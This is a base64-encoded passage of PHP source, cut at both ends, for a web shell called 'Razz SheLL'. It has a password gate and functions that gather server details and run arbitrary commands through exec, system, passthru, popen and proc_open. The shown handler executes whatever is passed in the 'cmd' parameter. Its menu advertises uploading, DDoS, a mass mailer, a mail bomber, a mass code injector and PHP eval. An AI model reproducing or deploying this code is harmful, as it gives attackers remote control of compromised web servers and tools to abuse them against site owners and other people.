OiB3aGl0ZTsgCn0gCgovKiAKCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tQ1NTIEVORC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAKCiovIAo8L3N0eWxlPiAKPC9oZWFkPiAKCjxib2R5IHRleHQ9InJnYigzOSwyNDUsMTApIiBiZ2NvbG9yPSJibGFjayI+IAo8P3BocCAKCmlmKGlzc2V0KCRfUE9TVFsndXNlciddKSAmJiBpc3NldCgkX1BPU1RbJ3Bhc3MnXSkgJiYgJGxvY2sgPT0gJ29uJykgCnsgCiAgICBpZiggJF9QT1NUWyd1c2VyJ10gPT0gJHVzZXIgJiYgCiAgICAgICAgICRfUE9TVFsncGFzcyddID09ICRwYXNzICkgCiAgICB7IAogICAgICAgICAgICAkX1NFU1NJT05bJ2F1dGhlbnRpY2F0ZWQnXSA9IDE7IAogICAgICAgICAgICAvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0gVHJhY2ViYWNrcyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAKICAgICAgICAgICAgaWYoJHRyYWNlYmFja0ZlYXR1cmUgPT0gJ09uJykgCiAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICBzZW5kTG9naW5BbGVydCgpOyAKICAgICAgICAgICAgfSAKICAgICAgICAgICAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIAogICAgfSAKfSAKCmlmKCRsb2NrID09ICdvZmYnKSAKez8+IAogICAgPHAgY2xhc3M9Indhcm5pbmciPjxiPkxvY2sgaXMgU3dpdGNoZWQgT2ZmISAsIFRoZSBzaGVsbCBjYW4gYmUgYWNjZXNzZWQgYnkgYW55b25lITwvYj48L3A+IAo8P3BocCAKfSAKCmlmKCRsb2NrID09ICdvbicgJiYgKCFpc3NldCgkX1NFU1NJT05bJ2F1dGhlbnRpY2F0ZWQnXSkgfHwgJF9TRVNTSU9OWydhdXRoZW50aWNhdGVkJ10hPTEpICkgCnsgCgo/PiAKPHRhYmxlPiAKICAgIDx0Ym9keT4gCiAgICAgICAgPHRyPgogICAgICAgICAgICAgCiAgICAgICAgPHByZT4gCjxjZW50ZXI+PGZvbnQgY29sb3I9Ik9yYW5nZSI+IAo8Yj48dGl0bGU+WyFdIFJhenogLSBTaGVMTDwvdGl0bGU+CjxsaW5rIGhyZWY9J2h0dHA6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3M/ZmFtaWx5PUljZWxhbmQnIHJlbD0nc3R5bGVzaGVldCcgdHlwZT0ndGV4dC9jc3MnPgo8c3R5bGU+Ym9keXtjdXJzb3I6dXJsKCIuLi93d3cubWFkbGVldHMuY29tL2VsaGFja2VyLmN1ciIpLGF1dG87fWh0bWx7ZGlzcGxheTp0YWJsZTtoZWlnaHQ6MTAwJTt3aWR0aDoxMDAlO31ib2R5e2Rpc3BsYXk6dGFibGUtcm93O31ib2R5e2Rpc3BsYXk6dGFibGUtY2VsbDt2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7dGV4dC1hbGlnbjpjZW50ZXI7fWE6bGlua3t0ZXh0LWRlY29yYXRpb246bm9uZTt9PC9zdHlsZT4KPGNlbnRlcj48aW1nIHNyYz0iaHR0cHM6Ly9pLnRvcDR0b3AuaW8vcF8yNjc2MXpsczcxLnBuZyIgYWx0PSJsb2dvIj4KPGJyPjxicj48YnI+Cjxib2R5IGJnY29sb3I9J2JsYWNrJz4KPGZvbnQgZmFjZT0iSWNlbGFuZCIgc3R5bGU9ImNvbG9yOnJlZDt0ZXh0LXNoYWRvdzowcHggMXB4IDVweCAjMDAwO2ZvbnQtc2l6ZTo2MHB4Ij5bIV1PZmZpY2lhbCBSYXp6IFNoZUxMPC9mb250Pgo8L2NlbnRlcj4KPGJyPgo8Zm9udCBmYWNlPSJJY2VsYW5kIiBzdHlsZT0iY29sb3I6bGltZTt0ZXh0LXNoYWRvdzowcHggMXB4IDVweCAjMDAwO2ZvbnQtc2l6ZTozMHB4Ij48L2ZvbnQ+IDwvY2VudGVyPgo8L2I+IAo8L3ByZT4gCiAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgIAogICAgICAgICAgICAgICAgPCEtLSA8aDE+PD9waHAgLy8gZWNobyAkZ3JlZXRpbmc7Pz48L2gxPiAgCiAgICAgICAgICAgICAgICA8aW1nIHNyYz0iTG9nb18wMy5wbmciIGNsYXNzPSJpbWFnZUZvcm0iIC8+IC0tPiAKICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSI8P3BocCBlY2hvICRfU0VSVkVSWydQSFBfU0VMRiddOz8+Ij4gCiAgICAgICAgICAgICAgICA8aW5wdXQgbmFtZT0idXNlciIgdmFsdWU9IlVzZXJuYW1lIi8+IDxpbnB1dCBuYW1lPSJwYXNzIiB0eXBlPSJwYXNzd29yZCIgdmFsdWU9IlBhc3N3b3JkIi8+IDxpbnB1dCBjbGFzcz0ib3duIiB0eXBlPSJTdWJtaXQiIHZhbHVlPSJPd24gVGhpcyBCb3ghIi8+IAogICAgICAgICAgICAgICAgPC9mb3JtPiAKICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgPC90cj4gCiAgICA8L3Rib2R5PiAKPC90YWJsZT4gCjw/cGhwIAp9IAovLy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gV2UgYXJlIGF1dGhlbnRpY2F0ZWQgbm93LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAKLy9MYXVuY2ggdGhlIHNoZWxsIAplbHNlICAKeyAKICAgIC8vLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSBGdWN0aW9ucyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gCgogICAgZnVuY3Rpb24gc2hvd0RyaXZlcygpIAogICAgeyAKICAgICAgICBnbG9iYWwgJHNlbGY7IAogICAgICAgIGZvcmVhY2gocmFuZ2UoJ0EnLCdaJykgYXMgJGRyaXZlKSAKICAgICAgICB7IAogICAgICAgICAgICBpZihpc19kaXIoJGRyaXZlLic6XFwnKSkgCiAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICA/PiAKICAgICAgICAgICAgICAgIDxhIGNsYXNzPSJkaXIiIGhyZWY9Jzw/cGhwIGVjaG8gJHNlbGYgPz4/ZGlyPTw/cGhwIGVjaG8gJGRyaXZlLiI6XFwiOyA/Pic+IAogICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gJGRyaXZlLiI6XFwiID8+IAogICAgICAgICAgICAgICAgPC9hPiAgCiAgICAgICAgICAgICAgICA8P3BocCAKICAgICAgICAgICAgfSAKICAgICAgICB9IAogICAgfSAKCiAgICBmdW5jdGlvbiBIdW1hblJlYWRhYmxlRmlsZXNpemUoJHNpemUpIAogICAgeyAKICAKICAgICAgICAkbW9kID0gMTAyNDsgCiAgCiAgICAgICAgJHVuaXRzID0gZXhwbG9kZSgnICcsJ0IgS0IgTUIgR0IgVEIgUEInKTsgCiAgICAgICAgZm9yICgkaSA9IDA7ICRzaXplID4gJG1vZDsgJGkrKykgIAogICAgICAgIHsgCiAgICAgICAgICAgICRzaXplIC89ICRtb2Q7IAogICAgICAgIH0gCiAgCiAgICAgICAgcmV0dXJuIHJvdW5kKCRzaXplLCAyKSAuICcgJyAuICR1bml0c1skaV07IAogICAgfSAKCmZ1bmN0aW9uIGdldENsaWVudElwKCkgCnsgCiAgICBlY2hvICRfU0VSVkVSWydSRU1PVEVfQUREUiddOyAKfSAKCmZ1bmN0aW9uIGdldFNlcnZlcklwKCkgCnsgCiAgICBlY2hvIGdldGVudignU0VSVkVSX0FERFInKTsgCn0gCmZ1bmN0aW9uIGdldFNvZnR3YXJlSW5mbygpIAp7IAogICAgZWNobyBwaHBfdW5hbWUoKTsgCn0gCmZ1bmN0aW9uIGRpc2tTcGFjZSgpIAp7IAogICAgZWNobyBIdW1hblJlYWRhYmxlRmlsZXNpemUoZGlza190b3RhbF9zcGFjZSgiLyIpKTsgCn0gCmZ1bmN0aW9uIGZyZWVTcGFjZSgpIAp7IAogICAgZWNobyBIdW1hblJlYWRhYmxlRmlsZXNpemUoZGlza19mcmVlX3NwYWNlKCIvIikpOyAKfSAKZnVuY3Rpb24gZ2V0U2FmZU1vZGUoKSAKeyAKICAgICAgICBnbG9iYWwgJHNtOyAKICAgICAgICBlY2hvKCRzbT8iT04gOiggOicoIChNb3N0IG9mIHRoZSBGZWF0dXJlcyB3aWxsIE5vdCBXb3JrISkiOiJPRkYiKTsgCiAgICAgICAgIAp9IAoKZnVuY3Rpb24gZ2V0RGlzYWJsZWRGdW5jdGlvbnMoKSAKeyAKICAgIGlmKCFpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpKSAKICAgIHsgCiAgICAgICAgZWNobyAiTm9uZSI7IAogICAgfSAKICAgIGVsc2UgCiAgICB7IAogICAgICAgICAgICBlY2hvIEBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpOyAKICAgIH0gCn0gCgpmdW5jdGlvbiBnZXRGaWxlUGVybWlzc2lvbnMoJGZpbGUpIAp7IAogICAgIAokcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOyAKCmlmICgoJHBlcm1zICYgMHhDMDAwKSA9PSAweEMwMDApIHsgCiAgICAvLyBTb2NrZXQgCiAgICAkaW5mbyA9ICdzJzsgCn0gZWxzZWlmICgoJHBlcm1zICYgMHhBMDAwKSA9PSAweEEwMDApIHsgCiAgICAvLyBTeW1ib2xpYyBMaW5rIAogICAgJGluZm8gPSAnbCc7IAp9IGVsc2VpZiAoKCRwZXJtcyAmIDB4ODAwMCkgPT0gMHg4MDAwKSB7IAogICAgLy8gUmVndWxhciAKICAgICRpbmZvID0gJy0nOyAKfSBlbHNlaWYgKCgkcGVybXMgJiAweDYwMDApID09IDB4NjAwMCkgeyAKICAgIC8vIEJsb2NrIHNwZWNpYWwgCiAgICAkaW5mbyA9ICdiJzsgCn0gZWxzZWlmICgoJHBlcm1zICYgMHg0MDAwKSA9PSAweDQwMDApIHsgCiAgICAvLyBEaXJlY3RvcnkgCiAgICAkaW5mbyA9ICdkJzsgCn0gZWxzZWlmICgoJHBlcm1zICYgMHgyMDAwKSA9PSAweDIwMDApIHsgCiAgICAvLyBDaGFyYWN0ZXIgc3BlY2lhbCAKICAgICRpbmZvID0gJ2MnOyAKfSBlbHNlaWYgKCgkcGVybXMgJiAweDEwMDApID09IDB4MTAwMCkgeyAKICAgIC8vIEZJRk8gcGlwZSAKICAgICRpbmZvID0gJ3AnOyAKfSBlbHNlIHsgCiAgICAvLyBVbmtub3duIAogICAgJGluZm8gPSAndSc7IAp9IAoKLy8gT3duZXIgCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7IAokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOyAKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwNDApID8gCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwODAwKSA/ICdzJyA6ICd4JyApIDogCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwODAwKSA/ICdTJyA6ICctJykpOyAKCi8vIEdyb3VwIAokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAyMCkgPyAncicgOiAnLScpOyAKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMTApID8gJ3cnIDogJy0nKTsgCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA4KSA/IAogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6IAogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsgCgovLyBXb3JsZCAKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsgCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAyKSA/ICd3JyA6ICctJyk7IAokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMSkgPyAKICAgICAgICAgICAgKCgkcGVybXMgJiAweDAyMDApID8gJ3QnIDogJ3gnICkgOiAKICAgICAgICAgICAgKCgkcGVybXMgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7IAoKcmV0dXJuICRpbmZvOyAKCn0gCgovKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKiovIAovLyBleGVjX2FsbCAsIEEgZnVuY3Rpb24gdXNlZCB0byBleGVjdXRlIGNvbW1hbmRzICwgVGhpcyBmdW5jdGlvbiB3aWxsIG9ubHkgZXhlY3V0ZSBpZiB0aGUgU2FmZSBNb2RlIGlzIAovLyBUdXJuZWQgT2ZGISAKLyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKiovIAoKCmZ1bmN0aW9uIGV4ZWNfYWxsKCRjb21tYW5kKSAKeyAKICAgICAKICAgICRvdXRwdXQgPSAnJzsgCiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkgCiAgICB7ICAgIAogICAgICAgIGV4ZWMoJGNvbW1hbmQsJG91dHB1dCk7IAogICAgICAgICRvdXRwdXQgPSBqb2luKCJcbiIsJG91dHB1dCk7IAogICAgfSAKICAgICAKICAgIGVsc2UgaWYoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpIAogICAgeyAKICAgICAgICAkb3V0cHV0ID0gc2hlbGxfZXhlYygkY29tbWFuZCk7IAogICAgfSAKICAgICAKICAgIGVsc2UgaWYoZnVuY3Rpb25fZXhpc3RzKCdwb3BlbicpKSAKICAgIHsgCiAgICAgICAgJGhhbmRsZSA9IHBvcGVuKCRjb21tYW5kICwgInIiKTsgLy8gT3BlbiB0aGUgY29tbWFuZCBwaXBlIGZvciByZWFkaW5nIAogICAgICAgIGlmKGlzX3Jlc291cmNlKCRoYW5kbGUpKSAKICAgICAgICB7IAogICAgICAgICAgICBpZihmdW5jdGlvbl9leGlzdHMoJ2ZyZWFkJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdmZW9mJykpIAogICAgICAgICAgICB7IAogICAgICAgICAgICAgICAgd2hpbGUoIWZlb2YoJGhhbmRsZSkpIAogICAgICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgICAgICAkb3V0cHV0IC49IGZyZWFkKCRoYW5kbGUsIDUxMik7IAogICAgICAgICAgICAgICAgfSAKICAgICAgICAgICAgfSAKICAgICAgICAgICAgZWxzZSBpZihmdW5jdGlvbl9leGlzdHMoJ2ZnZXRzJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdmZW9mJykpIAogICAgICAgICAgICB7IAogICAgICAgICAgICAgICAgd2hpbGUoIWZlb2YoJGhhbmRsZSkpIAogICAgICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgICAgICAkb3V0cHV0IC49IGZnZXRzKCRoYW5kbGUsNTEyKTsgCiAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICB9IAogICAgICAgIH0gCiAgICAgICAgcGNsb3NlKCRoYW5kbGUpOyAKICAgIH0gCiAgICAgCiAgICAgCiAgICBlbHNlIGlmKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpIAogICAgeyAKICAgICAgICBvYl9zdGFydCgpOyAvL3N0YXJ0IG91dHB1dCBidWZmZXJpbmcgCiAgICAgICAgc3lzdGVtKCRjb21tYW5kKTsgCiAgICAgICAgJG91dHB1dCA9IG9iX2dldF9jb250ZW50cygpOyAgICAvLyBHZXQgdGhlIG91cHV0ICAKICAgICAgICBvYl9lbmRfY2xlYW4oKTsgICAgICAgICAgICAgICAgIC8vIFN0b3Agb3V0cHV0IGJ1ZmZlcmluZyAKICAgIH0gCiAgICAgCiAgICBlbHNlIGlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkgCiAgICB7IAogICAgICAgIG9iX3N0YXJ0KCk7IC8vc3RhcnQgb3V0cHV0IGJ1ZmZlcmluZyAKICAgICAgICBwYXNzdGhydSgkY29tbWFuZCk7IAogICAgICAgICRvdXRwdXQgPSBvYl9nZXRfY29udGVudHMoKTsgICAgLy8gR2V0IHRoZSBvdXB1dCAgCiAgICAgICAgb2JfZW5kX2NsZWFuKCk7ICAgICAgICAgICAgICAgICAvLyBTdG9wIG91dHB1dCBidWZmZXJpbmcgICAgICAgICAgICAgCiAgICB9IAogICAgIAogICAgZWxzZSBpZihmdW5jdGlvbl9leGlzdHMoJ3Byb2Nfb3BlbicpKSAKICAgIHsgCiAgICAgICAgJGRlc2NyaXB0b3JzcGVjID0gYXJyYXkoIAogICAgICAgICAgICAgICAgMSA9PiBhcnJheSgicGlwZSIsICJ3IiksICAvLyBzdGRvdXQgaXMgYSBwaXBlIHRoYXQgdGhlIGNoaWxkIHdpbGwgd3JpdGUgdG8gCiAgICAgICAgICAgICAgICApOyAKICAgICAgICAkaGFuZGxlID0gcHJvY19vcGVuKCRjb21tYW5kICwkZGVzY3JpcHRvcnNwZWMgLCAkcGlwZXMpOyAvLyBUaGlzIHdpbGwgcmV0dXJuIHRoZSBvdXRwdXQgdG8gYW4gYXJyYXkgJ3BpcGVzJyAKICAgICAgICBpZihpc19yZXNvdXJjZSgkaGFuZGxlKSkgCiAgICAgICAgeyAKICAgICAgICAgICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdmcmVhZCcpICYmIGZ1bmN0aW9uX2V4aXN0cygnZmVvZicpKSAKICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgIHdoaWxlKCFmZW9mKCRwaXBlc1sxXSkpIAogICAgICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgICAgICAkb3V0cHV0IC49IGZyZWFkKCRwaXBlc1sxXSwgNTEyKTsgCiAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICB9IAogICAgICAgICAgICBlbHNlIGlmKGZ1bmN0aW9uX2V4aXN0cygnZmdldHMnKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2Zlb2YnKSkgCiAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICB3aGlsZSghZmVvZigkcGlwZXNbMV0pKSAKICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgJG91dHB1dCAuPSBmZ2V0cygkcGlwZXNbMV0sNTEyKTsgCiAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICB9IAogICAgICAgIH0gCiAgICAgICAgcGNsb3NlKCRoYW5kbGUpOyAKICAgIH0gCiAgICBlbHNlIAogICAgeyAKICAgICAgICAkb3V0cHV0ID0gIlRoZXkgaGF2ZSB0aGVpciBTZWN1cml0eSB0aGVyZSEgOiggIjsgCiAgICB9IAogICAgIAogICAgcmV0dXJuKGh0bWxzcGVjaWFsY2hhcnMoJG91dHB1dCkpOyAKICAgICAKfSAKZnVuY3Rpb24gbWFnaWNRdW90ZSgkdGV4dCkgCnsgCiAgICBpZiAoIWdldF9tYWdpY19xdW90ZXNfZ3BjKCkpIAogICAgeyAKICAgICAgICByZXR1cm4gJHRleHQ7IAogICAgfSAKICAgIHJldHVybiBzdHJpcHNsYXNoZXMoJHRleHQpOyAKfSAKLy8tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gCgoKPz4gCgo8dGFibGUgY2xhc3M9InRvcCI+IAogICAgPHRib2R5PiAKICAgICAgICA8dHI+IAogICAgICAgICAgICA8dGQ+IAogICAgICAgICAgICA8ZGl2IGNsYXNzPSJsb2dvIj4gCiAgICAgICAgICAgICAgICA8aDE+PGxpbmsgaHJlZj0naHR0cDovL2ZvbnRzLmdvb2dsZWFwaXMuY29tL2Nzcz9mYW1pbHk9SWNlbGFuZCcgcmVsPSdzdHlsZXNoZWV0JyB0eXBlPSd0ZXh0L2Nzcyc+CjxzdHlsZT5ib2R5e2N1cnNvcjp1cmwoIi4uL3d3dy5tYWRsZWV0cy5jb20vZWxoYWNrZXIuY3VyIiksYXV0bzt9aHRtbHtkaXNwbGF5OnRhYmxlO2hlaWdodDoxMDAlO3dpZHRoOjEwMCU7fWJvZHl7ZGlzcGxheTp0YWJsZS1yb3c7fWJvZHl7ZGlzcGxheTp0YWJsZS1jZWxsO3ZlcnRpY2FsLWFsaWduOm1pZGRsZTt0ZXh0LWFsaWduOmNlbnRlcjt9YTpsaW5re3RleHQtZGVjb3JhdGlvbjpub25lO308L3N0eWxlPgo8Y2VudGVyPjxpbWcgc3JjPSJodHRwczovL2kuaW1ndXIuY29tL1NoZ3dzVW0uanBnIiBhbHQ9ImxvZ28iPgo8L2NlbnRlcj4KPGZvbnQgZmFjZT0iSWNlbGFuZCIgc3R5bGU9ImNvbG9yOmxpbWU7dGV4dC1zaGFkb3c6MHB4IDFweCA1cHggIzAwMDtmb250LXNpemU6MzBweCI+PC9oMT48YmxvY2txdW90ZSBjbGFzcz0ic21hbGwiPlNoZWxsPC9ibG9ja3F1b3RlPiAKICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgPC9kaXY+IAogICAgICAgICAgICA8L3RkPiAKICAgICAgICAgICAgPHRkPiAKICAgICAgICAgICAgPGRpdiBjbGFzcz0iaGVhZGVyIj4gCiAgICAgICAgICAgIDw/cGhwIGdldFNvZnR3YXJlSW5mbygpOyA/PjxiciAvPiAKWW91ciBJUCA6IDw/cGhwIGdldENsaWVudElwKCk7ID8+IDxmb250IGNvbG9yPSJzaWx2ZXIiID58PC9mb250PiBTZXJ2ZXIgSVAgOiA8P3BocCBnZXRTZXJ2ZXJJcCgpOz8+IDxiciAvPiAKICAgICAgICAgICAgU2FmZSBNb2RlIDogPD9waHAgZ2V0U2FmZU1vZGUoKTsgPz48YnIgLz4gCiAgICAgICAgICAgIDw/cGhwIGlmKCRvcyA9PSAnV2luZG93cycpeyBlY2hvIHNob3dEcml2ZXMoKTt9ID8+IDw/cGhwIGVjaG8gZ2V0Y3dkKCk7Pz4gCiAgICAgICAgICAgIDwvZGl2PiAKICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgPC90cj4gCiAgICA8L3Rib2R5PiAKPC90YWJsZT4gCjxkaXYgY2xhc3M9ImhlYWRlciIgaWQ9ImJvcmRlcnMiPiAKICAgICAgICAgICAgU2VydmVyIEFETUlOOiA8P3BocCBlY2hvICRfU0VSVkVSWydTRVJWRVJfQURNSU4nXTs/PiA8Zm9udCBjb2xvcj0ic2lsdmVyIiA+fDwvZm9udD4gCiAgICAgICAgICAgIFBIUCBWRVJTSU9OIDogPD9waHAgZWNobyAkcGhwVmVyc2lvbjsgPz4gPGZvbnQgY29sb3I9InNpbHZlciIgPnw8L2ZvbnQ+IAogICAgICAgICAgICBDdXJsIDogPD9waHAgZWNobyBmdW5jdGlvbl9leGlzdHMoJ2N1cmxfdmVyc2lvbicpPygiPGZvbnQgY29sb3I9J3JlZCc+RW5hYmxlZDwvZm9udD4iKTooIkRpc2FibGVkIik7ID8+IDxmb250IGNvbG9yPSJzaWx2ZXIiID58PC9mb250PiAKICAgICAgICAgICAgT3JhY2xlIDogPD9waHAgZWNobyBmdW5jdGlvbl9leGlzdHMoJ29jaWxvZ29uJyk/KCI8Zm9udCBjb2xvcj0ncmVkJz5FbmFibGVkPC9mb250PiIpOigiRGlzYWJsZWQiKTsgPz4gPGZvbnQgY29sb3I9InNpbHZlciIgPnw8L2ZvbnQ+IAogICAgICAgICAgICBNeVNRTCA6IDw/cGhwICBlY2hvIGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfY29ubmVjdCcpPygiPGZvbnQgY29sb3I9J3JlZCc+RW5hYmxlZDwvZm9udD4iKTooIkRpc2FibGVkIik7Pz4gPGZvbnQgY29sb3I9InNpbHZlciIgPnw8L2ZvbnQ+IAogICAgICAgICAgICBNU1NRTCA6IDw/cGhwIGVjaG8gZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0Jyk/KCI8Zm9udCBjb2xvcj0ncmVkJz5FbmFibGVkPC9mb250PiIpOigiRGlzYWJsZWQiKTsgPz4gPGZvbnQgY29sb3I9InNpbHZlciIgPnw8L2ZvbnQ+IAogICAgICAgICAgICBQb3N0Z3JlU1FMIDogPD9waHAgZWNobyBmdW5jdGlvbl9leGlzdHMoJ3BnX2Nvbm5lY3QnKT8oIjxmb250IGNvbG9yPSdyZWQnPkVuYWJsZWQ8L2ZvbnQ+Iik6KCJEaXNhYmxlZCIpOyA/PiA8Zm9udCBjb2xvcj0ic2lsdmVyIiA+fDwvZm9udD4gCiAgICAgICAgICAgIERpc2FibGUgZnVuY3Rpb25zIDogPD9waHAgZ2V0RGlzYWJsZWRGdW5jdGlvbnMoKTsgPz4gPGZvbnQgY29sb3I9InNpbHZlciIgPnw8L2ZvbnQ+IAogICAgICAgICAgICBTcGFjZSA6IDw/cGhwIGRpc2tTcGFjZSgpOyA/PiA8Zm9udCBjb2xvcj0ic2lsdmVyIiA+fDwvZm9udD4gCiAgICAgICAgICAgIEZyZWUgOiA8P3BocCBmcmVlU3BhY2UoKTsgPz4gCiAgICAgICAgPC90YWJsZT4gCjwvZGl2PiAKPGRpdiBjbGFzcz0ibmF2Ij4gCjx1bD4gCiAgICA8bGk+PGEgaHJlZj0iPD9waHAgZWNobyAkc2VsZjs/PiI+SG9tZTwvYT48L2xpPiAKICAgIDxsaT48YSBocmVmPSI8P3BocCBlY2hvICRzZWxmLic/dXBsb2FkJzs/PiI+VXBsb2FkPC9hPjwvbGk+IAogICAgPGxpPjxhIGhyZWY9Ijw/cGhwIGVjaG8gJHNlbGYuJz9zaGVsbCc7Pz4iPlNoZWxsPC9hPjwvbGk+IAogICAgPGxpPjxhIGhyZWY9Ijw/cGhwIGVjaG8gJHNlbGYuJz9kb3MnOz8+Ij5ERG9TPC9hPjwvbGk+IAogICAgPGxpPjxhIGhyZWY9Ijw/cGhwIGVjaG8gJHNlbGYuJz9mdXp6Jzs/PiI+V2ViLVNlcnZlciBGdXp6ZXI8L2E+PC9saT4gCiAgICA8bGk+PGEgaHJlZj0iPD9waHAgZWNobyAkc2VsZi4nP21haWwnPz4iPk1hc3MgTWFpbGVyPC9hPjwvbGk+IAogICAgPGxpPjxhIGhyZWY9Ijw/cGhwIGVjaG8gJHNlbGYuJz9ib21iJz8+Ij5NYWlsIEJvbWJlcjwvYT48L2xpPiAKICAgIDxsaT48YSBocmVmPSI8P3BocCBlY2hvICRzZWxmLic/Y29ubmVjdCc/PiI+Q29ubmVjdDwvYT48L2xpPiAKICAgIDxsaT48YSBocmVmPSI8P3BocCBlY2hvICRzZWxmLic/aW5qZWN0b3InPz4iPk1hc3MgQ29kZSBJbmplY3RvcjwvYT48L2xpPiAKICAgIDxsaT48YSBocmVmPSI8P3BocCBlY2hvICRzZWxmLic/ZGVjb2RlJz8+Ij5QSFAgRGVjb2RlcjwvYT48L2xpPiAKICAgIDxsaT48YSBocmVmPSI8P3BocCBlY2hvICRzZWxmLic/ZXZhbCc/PiI+UEhQIEV2YWx1YXRlPC9hPjwvbGk+IAoKICAgIDw/cGhwIGlmKCRsb2NrID09ICdvbicpIAogICAgeyAKICAgID8+IAogICAgICAgIDxsaT48YSBocmVmPSI8P3BocCBlY2hvICRzZWxmLic/bG9nb3V0Jz8+Ij5JIG0gT3V0ITwvYT48L2xpPiAKICAgIDw/cGhwIAogICAgfSAKICAgID8+IAo8L3VsPiAKPC9kaXY+IAoKPD9waHAgCi8vLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gQ2hlY2sgd2hhdCBoZSB3YW50cyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIAoKLy8gU2hlbGwgCgppZihpc3NldCgkX0dFVFsnc2hlbGwnXSkpIAp7IAogICAgaWYoIWlzc2V0KCRfR0VUWydjbWQnXSkgfHwgJF9HRVRbJ2NtZCddID09ICcnKSAKICAgIHsgCiAgICAgICAgJHJlc3VsdCA9ICIiOyAgICAgCiAgICB9IAogICAgZWxzZSAKICAgIHsgCiAgICAgICAgJHJlc3VsdD1leGVjX2FsbCgkX0dFVFsnY21kJ10pOyAKICAgIH0gCiAgICA/PiAKICAgIDx0ZXh0YXJlYSBjbGFzcz0iY21kIiBjb2xzPSIxMDAiIHJvd3M9IjIwIj48P3BocCBlY2hvICRyZXN1bHQ7Pz48L3RleHRhcmVhPjxiciAvPjxiciAvPiAKICAgIDxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc2VsZjs/PiIgbWV0aG9kPSJHRVQiPiAKICAgIDwhLS0gRm9yIFNoZWxsIC0tPiAKICAgIDxpbnB1dCBuYW1lPSJzaGVsbCIgdHlwZT0iaGlkZGVuIiAvPiAKICAgIDwhLS0gRm9yIENNRCAtLT4gCiAgICA8aW5wdXQgbmFtZT0iY21kIiBjbGFzcz0iY21kIiAvPiAKICAgIDxpbnB1dCBuYW1lPSJzdWJtaXQiIHZhbHVlPSJTcGluIFRoYXQgU2hpdCEiIGNsYXNzPSJvd24iIHR5cGU9InN1Ym1pdCIgLz4gCiAgICA8L2Zvcm0+IAogICAgPD9waHAgCn